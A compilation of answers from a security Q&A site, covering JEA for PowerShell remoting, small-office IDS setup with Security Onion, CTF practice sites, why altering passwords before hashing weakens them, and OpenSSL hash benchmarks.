This way you can avoid using credssp and any double-hop authentication issues. Credssp will allow for MITM attacks, otherwise you'd have to create a single unique user and set your powershell configuration file to runas that user. The second suggestion is horrible for auditing.

Utilizing JEA would allow you to constrain users, audit those users and only allow them to execute specific commands.


IPS/IDS and Firewall Solution(s) to a Small Office

1) Does the current Cisco router have any firewall abilities?  If not, the ASA sounds like a good idea to me.  If its a small office, you could probably just go with a 5505 and be fine.

2) I would get a box and put Security Onion on it.  Set up a SPAN port on the current Cisco router to mirror traffic to the SO machine.  Assuming the Cisco router is doing all the inter-VLAN routing, you can get a pretty good view on things.  You won't have much of a vantage point on intra-VLAN traffic but that may not matter to you.

3) Seems standard basic security on an AD domain to me.


A demonstration of the most basic form of a data breach or similar attack

Let's put buzzwords to the side for a moment shall we? Anything you need to connect with, on a networked level, is "clouded." A cloud is nothing more than a non-local networked business. These businesses house servers that YOU normally would. With that out the way, any attack you can do locally, would be similar. I don't believe you're going to find a publicly accessible network that'll allow you to "hack" per-se for the sake of your paper. You may find some CTF based sites, and distros, and or group based/game-like sites. With that out of the way, register an account on EnigmaGroup and try one of their SQL challenges or something


Stripping / appending characters from user password before hashing to conceal it forever?

How would you guarantee that the "same" random characters are used every time the same user enters their password? You can only guarantee that if you write them down (or otherwise deterministically generate them), so "!@#$%^&*" in your "password" is actually just another part of the salt.

This leaves you in a situation where you've converted the user's password from "secret123" to the regular expression "^.ecret12.$", which reduces the password's effective complexity from 9 characters to 7 characters. An attacker who tries "pecret129" will be allowed in.

To answer the question directly and to borrow a quote from ewanm89 below: no. I don't recommend doing that.


Is there a table that compares hashing algorithms by speed, relatively (machine independent)

To get an accurate measurement, you need to benchmark using your intended hardware with your intended software. Implementation makes a huge difference, plus some hardware can built-in acceleration for certain algorithms.

If you intend to use OpenSSL then you're in luck, because they have a built-in benchmarking suite.

$ openssl speed md5 sha1 sha256
Doing md5 for 3s on 16 size blocks: 4595381 md5's in 3.00s
Doing md5 for 3s on 64 size blocks: 3732906 md5's in 3.00s
....
The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
md5              24508.70k    79635.33k   227390.21k   419190.78k   557154.30k
sha1             21918.90k    68573.48k   164350.12k   256347.14k   305924.78k
sha256           20979.09k    52742.04k   100939.52k   130634.07k   142630.91k